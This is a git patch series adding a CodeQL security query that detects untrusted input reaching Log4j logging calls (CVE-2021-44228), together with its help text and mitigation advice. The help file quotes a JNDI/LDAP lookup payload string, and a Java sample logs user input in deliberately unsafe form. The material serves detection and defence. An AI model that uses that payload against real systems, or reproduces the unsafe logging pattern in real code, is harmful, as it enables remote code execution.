From 43a10457dd465a0253f4b1e7316ff17091263cd2 Mon Sep 17 00:00:00 2001 From: Tony Torralba Date: Fri, 10 Dec 2021 17:37:43 +0100 Subject: [PATCH 1/5] [Java] Query for Log4j JNDI Injection --- .../CWE/CWE-020/Log4jJndiInjection.java | 18 ++ .../CWE/CWE-020/Log4jJndiInjection.qhelp | 53 +++++ .../CWE/CWE-020/Log4jJndiInjection.ql | 207 ++++++++++++++++++ 3 files changed, 278 insertions(+) create mode 100644 java/ql/src/experimental/Security/CWE/CWE-020/Log4jJndiInjection.java create mode 100644 java/ql/src/experimental/Security/CWE/CWE-020/Log4jJndiInjection.qhelp create mode 100644 java/ql/src/experimental/Security/CWE/CWE-020/Log4jJndiInjection.ql diff --git a/java/ql/src/experimental/Security/CWE/CWE-020/Log4jJndiInjection.java b/java/ql/src/experimental/Security/CWE/CWE-020/Log4jJndiInjection.java new file mode 100644 index 000000000000..23c4dc3bd461 --- /dev/null +++ b/java/ql/src/experimental/Security/CWE/CWE-020/Log4jJndiInjection.java @@ -0,0 +1,18 @@ +package com.example.restservice; + +import org.apache.commons.logging.log4j.Logger; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class Log4jJndiInjection { + + private final Logger logger = LogManager.getLogger(); + + @GetMapping("/bad") + public String bad(@RequestParam(value = "username", defaultValue = "name") String username) { + logger.warn("User:'{}'", username); + return username; + } +} diff --git a/java/ql/src/experimental/Security/CWE/CWE-020/Log4jJndiInjection.qhelp b/java/ql/src/experimental/Security/CWE/CWE-020/Log4jJndiInjection.qhelp new file mode 100644 index 000000000000..2cddda46b27e --- /dev/null +++ b/java/ql/src/experimental/Security/CWE/CWE-020/Log4jJndiInjection.qhelp @@ -0,0 +1,53 @@ + + + + +

+Log4j versions prior to 2.15.0 are subject to a remote code execution vulnerability via the ldap JNDI parser. +

+

+As per Apache's Log4j security guide: Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters +do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or +log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. +From log4j 2.15.0, this behavior has been disabled by default. +

+
+ + +

+This issue was remediated in Log4J v2.15.0. The Apache Logging Services team provides the following mitigation advice: +

+

+In previous releases (>=2.10) this behavior can be mitigated by setting system property "log4j2.formatMsgNoLookups" to “true” +or by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class). +Java 8u121 protects against RCE by defaulting "com.sun.jndi.rmi.object.trustURLCodebase" and "com.sun.jndi.cosnaming.object.trustURLCodebase" to "false". +

+

+You can manually check for use of affected versions of Log4J by searching your project repository for Log4J use, which is often in a pom.xml file. +

+

+Where possible, upgrade to Log4J version 2.15.0. If you are using Log4J v1 there is a migration guide available. +

+

+Please note that Log4J v1 is End Of Life (EOL) and will not receive patches for this issue. Log4J v1 is also vulnerable to other RCE vectors and we +recommend you migrate to Log4J 2.15.0 where possible. +

+

+If upgrading is not possible, then ensure the -Dlog4j2.formatMsgNoLookups=true system property is set on both client- and server-side components. +

+
+ + +

In this example, a username, provided by the user, is logged using logger.warn (from org.apache.logging.log4j.Logger). + If a malicious user provides ${jndi:ldap://127.0.0.1:1389/a} as a username parameter, + Log4j will make a JNDI lookup on the specified LDAP server and potentially load arbitrary code. +

+ +
+ + +
  • GitHub Advisory Database: Remote code injection in Log4j.
  • +
    +
    \ No newline at end of file diff --git a/java/ql/src/experimental/Security/CWE/CWE-020/Log4jJndiInjection.ql b/java/ql/src/experimental/Security/CWE/CWE-020/Log4jJndiInjection.ql new file mode 100644 index 000000000000..47dfb11da1c9 --- /dev/null +++ b/java/ql/src/experimental/Security/CWE/CWE-020/Log4jJndiInjection.ql @@ -0,0 +1,207 @@ +/** + * @name Log4j JNDI Injection + * @description Building Log4j log entries from user-controlled data may allow + * attackers to inject malicious code through JNDI lookups. + * @kind path-problem + * @problem.severity error + * @precision high + * @id java/log4j-jndi-injection + * @tags security + * external/cwe/cwe-020 + * external/cwe/cwe-074 + * external/cwe/cwe-400 + * external/cwe/cwe-502 + */ + +import java +import semmle.code.java.dataflow.FlowSources +import semmle.code.java.dataflow.ExternalFlow +import DataFlow::PathGraph + +private class LoggingSummaryModels extends SummaryModelCsv { + override predicate row(string row) { + row = + [ + "org.apache.logging.log4j;Logger;true;traceEntry;(Message);;Argument[0];ReturnValue;taint", + "org.apache.logging.log4j;Logger;true;traceEntry;(String,Object[]);;Argument[0..1];ReturnValue;taint", + "org.apache.logging.log4j;Logger;true;traceEntry;(String,Supplier[]);;Argument[0..1];ReturnValue;taint", + "org.apache.logging.log4j;Logger;true;traceEntry;(Supplier[]);;Argument[0];ReturnValue;taint", + "org.apache.logging.log4j;Logger;true;traceExit;(EntryMessage,Object);;Argument[1];ReturnValue;value", + "org.apache.logging.log4j;Logger;true;traceExit;(Message,Object);;Argument[1];ReturnValue;value", + "org.apache.logging.log4j;Logger;true;traceExit;(Object);;Argument[0];ReturnValue;value", + "org.apache.logging.log4j;Logger;true;traceExit;(String,Object);;Argument[1];ReturnValue;value", + ] + } +} + +private class LoggingSinkModels extends SinkModelCsv { + override predicate row(string row) { + row = + [ + // org.apache.logging.log4j.Logger + "org.apache.logging.log4j;Logger;true;" + + ["debug", "error", "fatal", "info", "trace", "warn"] + + [ + ";(CharSequence);;Argument[0];logging", + ";(CharSequence,Throwable);;Argument[0];logging", + ";(Marker,CharSequence);;Argument[1];logging", + ";(Marker,CharSequence,Throwable);;Argument[1];logging", + ";(Marker,Message);;Argument[1];logging", + ";(Marker,MessageSupplier);;Argument[1];logging", + ";(Marker,MessageSupplier);;Argument[1];logging", + ";(Marker,MessageSupplier,Throwable);;Argument[1];logging", + ";(Marker,Object);;Argument[1];logging", + ";(Marker,Object,Throwable);;Argument[1];logging", + ";(Marker,String);;Argument[1];logging", + ";(Marker,String,Object[]);;Argument[1..2];logging", + ";(Marker,String,Object);;Argument[1..2];logging", + ";(Marker,String,Object,Object);;Argument[1..3];logging", + ";(Marker,String,Object,Object,Object);;Argument[1..4];logging", + ";(Marker,String,Object,Object,Object,Object);;Argument[1..5];logging", + ";(Marker,String,Object,Object,Object,Object,Object);;Argument[1..6];logging", + ";(Marker,String,Object,Object,Object,Object,Object,Object);;Argument[1..7];logging", + ";(Marker,String,Object,Object,Object,Object,Object,Object,Object);;Argument[1..8];logging", + ";(Marker,String,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[1..9];logging", + ";(Marker,String,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[1..10];logging", + ";(Marker,String,Object,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[1..11];logging", + ";(Marker,String,Supplier);;Argument[1..2];logging", + ";(Marker,String,Throwable);;Argument[1];logging", + ";(Marker,Supplier);;Argument[1];logging", + ";(Marker,Supplier,Throwable);;Argument[1];logging", + ";(MessageSupplier);;Argument[0];logging", + ";(MessageSupplier,Throwable);;Argument[0];logging", ";(Message);;Argument[0];logging", + ";(Message,Throwable);;Argument[0];logging", ";(Object);;Argument[0];logging", + ";(Object,Throwable);;Argument[0];logging", ";(String);;Argument[0];logging", + ";(String,Object[]);;Argument[0..1];logging", + ";(String,Object);;Argument[0..1];logging", + ";(String,Object,Object);;Argument[0..2];logging", + ";(String,Object,Object,Object);;Argument[0..3];logging", + ";(String,Object,Object,Object,Object);;Argument[0..4];logging", + ";(String,Object,Object,Object,Object,Object);;Argument[0..5];logging", + ";(String,Object,Object,Object,Object,Object,Object);;Argument[0..6];logging", + ";(String,Object,Object,Object,Object,Object,Object,Object);;Argument[0..7];logging", + ";(String,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[0..8];logging", + ";(String,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[0..9];logging", + ";(String,Object,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[0..10];logging", + ";(String,Supplier);;Argument[0..1];logging", + ";(String,Throwable);;Argument[0];logging", ";(Supplier);;Argument[0];logging", + ";(Supplier,Throwable);;Argument[0];logging" + ], + "org.apache.logging.log4j;Logger;true;log" + + [ + ";(Level,CharSequence);;Argument[1];logging", + ";(Level,CharSequence,Throwable);;Argument[1];logging", + ";(Level,Marker,CharSequence);;Argument[2];logging", + ";(Level,Marker,CharSequence,Throwable);;Argument[2];logging", + ";(Level,Marker,Message);;Argument[2];logging", + ";(Level,Marker,MessageSupplier);;Argument[2];logging", + ";(Level,Marker,MessageSupplier);;Argument[2];logging", + ";(Level,Marker,MessageSupplier,Throwable);;Argument[2];logging", + ";(Level,Marker,Object);;Argument[2];logging", + ";(Level,Marker,Object,Throwable);;Argument[2];logging", + ";(Level,Marker,String);;Argument[2];logging", + ";(Level,Marker,String,Object[]);;Argument[2..3];logging", + ";(Level,Marker,String,Object);;Argument[2..3];logging", + ";(Level,Marker,String,Object,Object);;Argument[2..4];logging", + ";(Level,Marker,String,Object,Object,Object);;Argument[2..5];logging", + ";(Level,Marker,String,Object,Object,Object,Object);;Argument[2..6];logging", + ";(Level,Marker,String,Object,Object,Object,Object,Object);;Argument[2..7];logging", + ";(Level,Marker,String,Object,Object,Object,Object,Object,Object);;Argument[2..8];logging", + ";(Level,Marker,String,Object,Object,Object,Object,Object,Object,Object);;Argument[2..9];logging", + ";(Level,Marker,String,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[2..10];logging", + ";(Level,Marker,String,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[2..11];logging", + ";(Level,Marker,String,Object,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[2..12];logging", + ";(Level,Marker,String,Supplier);;Argument[2..3];logging", + ";(Level,Marker,String,Throwable);;Argument[2];logging", + ";(Level,Marker,Supplier);;Argument[2];logging", + ";(Level,Marker,Supplier,Throwable);;Argument[2];logging", + ";(Level,Message);;Argument[1];logging", + ";(Level,MessageSupplier);;Argument[1];logging", + ";(Level,MessageSupplier,Throwable);;Argument[1];logging", + ";(Level,Message);;Argument[1];logging", + ";(Level,Message,Throwable);;Argument[1];logging", + ";(Level,Object);;Argument[1];logging", ";(Level,Object);;Argument[1];logging", + ";(Level,String);;Argument[1];logging", + ";(Level,Object,Throwable);;Argument[1];logging", + ";(Level,String);;Argument[1];logging", + ";(Level,String,Object[]);;Argument[1..2];logging", + ";(Level,String,Object);;Argument[1..2];logging", + ";(Level,String,Object,Object);;Argument[1..3];logging", + ";(Level,String,Object,Object,Object);;Argument[1..4];logging", + ";(Level,String,Object,Object,Object,Object);;Argument[1..5];logging", + ";(Level,String,Object,Object,Object,Object,Object);;Argument[1..6];logging", + ";(Level,String,Object,Object,Object,Object,Object,Object);;Argument[1..7];logging", + ";(Level,String,Object,Object,Object,Object,Object,Object,Object);;Argument[1..8];logging", + ";(Level,String,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[1..9];logging", + ";(Level,String,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[1..10];logging", + ";(Level,String,Object,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[1..11];logging", + ";(Level,String,Supplier);;Argument[1..2];logging", + ";(Level,String,Throwable);;Argument[1];logging", + ";(Level,Supplier);;Argument[1];logging", + ";(Level,Supplier,Throwable);;Argument[1];logging" + ], "org.apache.logging.log4j;Logger;true;entry;(Object[]);;Argument[0];logging", + "org.apache.logging.log4j;Logger;true;logMessage;(Level,Marker,String,StackTraceElement,Message,Throwable);;Argument[4];logging", + "org.apache.logging.log4j;Logger;true;printf;(Level,Marker,String,Object[]);;Argument[2..3];logging", + "org.apache.logging.log4j;Logger;true;printf;(Level,String,Object[]);;Argument[1..2];logging", + "org.apache.logging.log4j;Logger;true;traceEntry;(Message);;Argument[0];logging", + "org.apache.logging.log4j;Logger;true;traceEntry;(String,Object[]);;Argument[0..1];logging", + "org.apache.logging.log4j;Logger;true;traceEntry;(String,Supplier[]);;Argument[0..1];logging", + "org.apache.logging.log4j;Logger;true;traceEntry;(Supplier[]);;Argument[0];logging", + "org.apache.logging.log4j;Logger;true;traceExit;(EntryMessage);;Argument[0];logging", + "org.apache.logging.log4j;Logger;true;traceExit;(EntryMessage,Object);;Argument[0..1];logging", + "org.apache.logging.log4j;Logger;true;traceExit;(Message,Object);;Argument[0..1];logging", + "org.apache.logging.log4j;Logger;true;traceExit;(Object);;Argument[0];logging", + "org.apache.logging.log4j;Logger;true;traceExit;(String,Object);;Argument[0..1];logging", + // org.apache.logging.log4j.LogBuilder + "org.apache.logging.log4j;LogBuilder;true;log;(CharSequence);;Argument[0];logging", + "org.apache.logging.log4j;LogBuilder;true;log;(Message);;Argument[0];logging", + "org.apache.logging.log4j;LogBuilder;true;log;(Object);;Argument[0];logging", + "org.apache.logging.log4j;LogBuilder;true;log;(String);;Argument[0];logging", + "org.apache.logging.log4j;LogBuilder;true;log;(String,Object[]);;Argument[0..1];logging", + "org.apache.logging.log4j;LogBuilder;true;log;(String,Object);;Argument[0..1];logging", + "org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object);;Argument[0..2];logging", + "org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object);;Argument[0..3];logging", + "org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object,Object);;Argument[0..4];logging", + "org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object,Object,Object);;Argument[0..5];logging", + "org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object,Object,Object,Object);;Argument[0..6];logging", + "org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object,Object,Object,Object,Object);;Argument[0..7];logging", + "org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[0..8];logging", + "org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[0..9];logging", + "org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[0..10];logging", + "org.apache.logging.log4j;LogBuilder;true;log;(String,Supplier);;Argument[0..1];logging", + "org.apache.logging.log4j;LogBuilder;true;log;(Supplier);;Argument[0];logging" + ] + } +} + +/** A data flow sink for unvalidated user input that is used to log messages. */ +class Log4jInjectionSink extends DataFlow::Node { + Log4jInjectionSink() { sinkNode(this, "logging") } +} + +/** + * A node that sanitizes a message before logging to avoid log injection. + */ +class Log4jInjectionSanitizer extends DataFlow::Node { + Log4jInjectionSanitizer() { + this.getType() instanceof BoxedType or this.getType() instanceof PrimitiveType + } +} + +/** + * A taint-tracking configuration for tracking untrusted user input used in log entries. + */ +class Log4jInjectionConfiguration extends TaintTracking::Configuration { + Log4jInjectionConfiguration() { this = "Log4jInjectionConfiguration" } + + override predicate isSource(DataFlow::Node source) { source instanceof RemoteFlowSource } + + override predicate isSink(DataFlow::Node sink) { sink instanceof Log4jInjectionSink } + + override predicate isSanitizer(DataFlow::Node node) { node instanceof Log4jInjectionSanitizer } +} + +from Log4jInjectionConfiguration cfg, DataFlow::PathNode source, DataFlow::PathNode sink +where cfg.hasFlowPath(source, sink) +select sink.getNode(), source, sink, "This $@ flows to a Log4j log entry.", source.getNode(), + "user-provided value" From d2dc19900f353606e48cc332c112d405ca784c5d Mon Sep 17 00:00:00 2001 From: Tony Torralba Date: Mon, 13 Dec 2021 19:39:52 +0100 Subject: [PATCH 2/5] Apply suggestions from code review Co-authored-by: Bas van Schaik <5082246+sj@users.noreply.github.com> Co-authored-by: Marcono1234 --- .../Security/CWE/CWE-020/Log4jJndiInjection.qhelp | 12 ++++++------ .../Security/CWE/CWE-020/Log4jJndiInjection.ql | 6 +++--- 2 files changed, 9 insertions(+), 9 deletions(-) diff --git a/java/ql/src/experimental/Security/CWE/CWE-020/Log4jJndiInjection.qhelp b/java/ql/src/experimental/Security/CWE/CWE-020/Log4jJndiInjection.qhelp index 2cddda46b27e..b2bd834465c6 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-020/Log4jJndiInjection.qhelp +++ b/java/ql/src/experimental/Security/CWE/CWE-020/Log4jJndiInjection.qhelp @@ -5,19 +5,19 @@

    -Log4j versions prior to 2.15.0 are subject to a remote code execution vulnerability via the ldap JNDI parser. +This query flags up situations in which untrusted user data is included in Log4j messages. If an application uses a Log4j version prior to 2.15.0, using untrusted user data in log messages will make an application vulnerable to remote code execution through Log4j's LDAP JNDI parser (CVE-2021-44228).

    As per Apache's Log4j security guide: Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. -From log4j 2.15.0, this behavior has been disabled by default. +From Log4j 2.15.0, this behavior has been disabled by default. Note that this query will not try to determine which version of Log4j is used.

    -This issue was remediated in Log4J v2.15.0. The Apache Logging Services team provides the following mitigation advice: +This issue was remediated in Log4j v2.15.0. The Apache Logging Services team provides the following mitigation advice:

    In previous releases (>=2.10) this behavior can be mitigated by setting system property "log4j2.formatMsgNoLookups" to “true” @@ -25,14 +25,14 @@ or by removing the JndiLookup class from the classpath (example: zip -q -d log4j Java 8u121 protects against RCE by defaulting "com.sun.jndi.rmi.object.trustURLCodebase" and "com.sun.jndi.cosnaming.object.trustURLCodebase" to "false".

    -You can manually check for use of affected versions of Log4J by searching your project repository for Log4J use, which is often in a pom.xml file. +You can manually check for use of affected versions of Log4j by searching your project repository for Log4j use, which is often in a pom.xml file.

    Where possible, upgrade to Log4J version 2.15.0. If you are using Log4J v1 there is a migration guide available.

    -Please note that Log4J v1 is End Of Life (EOL) and will not receive patches for this issue. Log4J v1 is also vulnerable to other RCE vectors and we -recommend you migrate to Log4J 2.15.0 where possible. +Please note that Log4j v1 is End Of Life (EOL) and will not receive patches for this issue. Log4j v1 is also vulnerable to other RCE vectors and we +recommend you migrate to Log4j 2.15.0 where possible.

    If upgrading is not possible, then ensure the -Dlog4j2.formatMsgNoLookups=true system property is set on both client- and server-side components. diff --git a/java/ql/src/experimental/Security/CWE/CWE-020/Log4jJndiInjection.ql b/java/ql/src/experimental/Security/CWE/CWE-020/Log4jJndiInjection.ql index 47dfb11da1c9..646c1f4cdb12 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-020/Log4jJndiInjection.ql +++ b/java/ql/src/experimental/Security/CWE/CWE-020/Log4jJndiInjection.ql @@ -1,11 +1,11 @@ /** - * @name Log4j JNDI Injection + * @name Log4j log injection and LDAP JNDI injection * @description Building Log4j log entries from user-controlled data may allow * attackers to inject malicious code through JNDI lookups. * @kind path-problem * @problem.severity error * @precision high - * @id java/log4j-jndi-injection + * @id java/log4j-injection * @tags security * external/cwe/cwe-020 * external/cwe/cwe-074 @@ -168,7 +168,7 @@ private class LoggingSinkModels extends SinkModelCsv { "org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[0..8];logging", "org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[0..9];logging", "org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[0..10];logging", - "org.apache.logging.log4j;LogBuilder;true;log;(String,Supplier);;Argument[0..1];logging", + "org.apache.logging.log4j;LogBuilder;true;log;(String,Supplier[]);;Argument[0..1];logging", "org.apache.logging.log4j;LogBuilder;true;log;(Supplier);;Argument[0];logging" ] } From ff2f5a5f91c3c5c0a89afddad5f1e1f7458f4351 Mon Sep 17 00:00:00 2001 From: Tony Torralba Date: Mon, 13 Dec 2021 19:44:38 +0100 Subject: [PATCH 3/5] Apply suggestions from code review Co-authored-by: Bas van Schaik <5082246+sj@users.noreply.github.com> --- .../Security/CWE/CWE-020/Log4jJndiInjection.qhelp | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/java/ql/src/experimental/Security/CWE/CWE-020/Log4jJndiInjection.qhelp b/java/ql/src/experimental/Security/CWE/CWE-020/Log4jJndiInjection.qhelp index b2bd834465c6..8d9ceb6008a1 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-020/Log4jJndiInjection.qhelp +++ b/java/ql/src/experimental/Security/CWE/CWE-020/Log4jJndiInjection.qhelp @@ -20,15 +20,14 @@ From Log4j 2.15.0, this behavior has been disabled by default. Note that this qu This issue was remediated in Log4j v2.15.0. The Apache Logging Services team provides the following mitigation advice:

    -In previous releases (>=2.10) this behavior can be mitigated by setting system property "log4j2.formatMsgNoLookups" to “true” -or by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class). -Java 8u121 protects against RCE by defaulting "com.sun.jndi.rmi.object.trustURLCodebase" and "com.sun.jndi.cosnaming.object.trustURLCodebase" to "false". +In previous releases (>=2.10) this behavior can be mitigated by setting system property log4j2.formatMsgNoLookups to true +or by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).

    You can manually check for use of affected versions of Log4j by searching your project repository for Log4j use, which is often in a pom.xml file.

    -Where possible, upgrade to Log4J version 2.15.0. If you are using Log4J v1 there is a migration guide available. +Where possible, upgrade to Log4j version 2.15.0. If you are using Log4j v1 there is a migration guide available.

    Please note that Log4j v1 is End Of Life (EOL) and will not receive patches for this issue. Log4j v1 is also vulnerable to other RCE vectors and we From 1b761b3d12019a48d0d84d2b97665dbf5f46c49f Mon Sep 17 00:00:00 2001 From: Tony Torralba Date: Mon, 13 Dec 2021 20:38:06 +0100 Subject: [PATCH 4/5] Apply suggestions from code review --- .../CWE/CWE-020/Log4jJndiInjection.ql | 24 ------------------- 1 file changed, 24 deletions(-) diff --git a/java/ql/src/experimental/Security/CWE/CWE-020/Log4jJndiInjection.ql b/java/ql/src/experimental/Security/CWE/CWE-020/Log4jJndiInjection.ql index 646c1f4cdb12..3941f3b84665 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-020/Log4jJndiInjection.ql +++ b/java/ql/src/experimental/Security/CWE/CWE-020/Log4jJndiInjection.ql @@ -18,21 +18,6 @@ import semmle.code.java.dataflow.FlowSources import semmle.code.java.dataflow.ExternalFlow import DataFlow::PathGraph -private class LoggingSummaryModels extends SummaryModelCsv { - override predicate row(string row) { - row = - [ - "org.apache.logging.log4j;Logger;true;traceEntry;(Message);;Argument[0];ReturnValue;taint", - "org.apache.logging.log4j;Logger;true;traceEntry;(String,Object[]);;Argument[0..1];ReturnValue;taint", - "org.apache.logging.log4j;Logger;true;traceEntry;(String,Supplier[]);;Argument[0..1];ReturnValue;taint", - "org.apache.logging.log4j;Logger;true;traceEntry;(Supplier[]);;Argument[0];ReturnValue;taint", - "org.apache.logging.log4j;Logger;true;traceExit;(EntryMessage,Object);;Argument[1];ReturnValue;value", - "org.apache.logging.log4j;Logger;true;traceExit;(Message,Object);;Argument[1];ReturnValue;value", - "org.apache.logging.log4j;Logger;true;traceExit;(Object);;Argument[0];ReturnValue;value", - "org.apache.logging.log4j;Logger;true;traceExit;(String,Object);;Argument[1];ReturnValue;value", - ] - } -} private class LoggingSinkModels extends SinkModelCsv { override predicate row(string row) { @@ -143,15 +128,6 @@ private class LoggingSinkModels extends SinkModelCsv { "org.apache.logging.log4j;Logger;true;logMessage;(Level,Marker,String,StackTraceElement,Message,Throwable);;Argument[4];logging", "org.apache.logging.log4j;Logger;true;printf;(Level,Marker,String,Object[]);;Argument[2..3];logging", "org.apache.logging.log4j;Logger;true;printf;(Level,String,Object[]);;Argument[1..2];logging", - "org.apache.logging.log4j;Logger;true;traceEntry;(Message);;Argument[0];logging", - "org.apache.logging.log4j;Logger;true;traceEntry;(String,Object[]);;Argument[0..1];logging", - "org.apache.logging.log4j;Logger;true;traceEntry;(String,Supplier[]);;Argument[0..1];logging", - "org.apache.logging.log4j;Logger;true;traceEntry;(Supplier[]);;Argument[0];logging", - "org.apache.logging.log4j;Logger;true;traceExit;(EntryMessage);;Argument[0];logging", - "org.apache.logging.log4j;Logger;true;traceExit;(EntryMessage,Object);;Argument[0..1];logging", - "org.apache.logging.log4j;Logger;true;traceExit;(Message,Object);;Argument[0..1];logging", - "org.apache.logging.log4j;Logger;true;traceExit;(Object);;Argument[0];logging", - "org.apache.logging.log4j;Logger;true;traceExit;(String,Object);;Argument[0..1];logging", // org.apache.logging.log4j.LogBuilder "org.apache.logging.log4j;LogBuilder;true;log;(CharSequence);;Argument[0];logging", "org.apache.logging.log4j;LogBuilder;true;log;(Message);;Argument[0];logging", From aee617f91199772a7bf8d316cb634cca698fc500 Mon Sep 17 00:00:00 2001 From: Tony Torralba Date: Tue, 14 Dec 2021 08:40:30 +0100 Subject: [PATCH 5/5] Autoformat --- .../src/experimental/Security/CWE/CWE-020/Log4jJndiInjection.ql | 1 - 1 file changed, 1 deletion(-) diff --git a/java/ql/src/experimental/Security/CWE/CWE-020/Log4jJndiInjection.ql b/java/ql/src/experimental/Security/CWE/CWE-020/Log4jJndiInjection.ql index 3941f3b84665..a6005d97c071 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-020/Log4jJndiInjection.ql +++ b/java/ql/src/experimental/Security/CWE/CWE-020/Log4jJndiInjection.ql @@ -18,7 +18,6 @@ import semmle.code.java.dataflow.FlowSources import semmle.code.java.dataflow.ExternalFlow import DataFlow::PathGraph - private class LoggingSinkModels extends SinkModelCsv { override predicate row(string row) { row =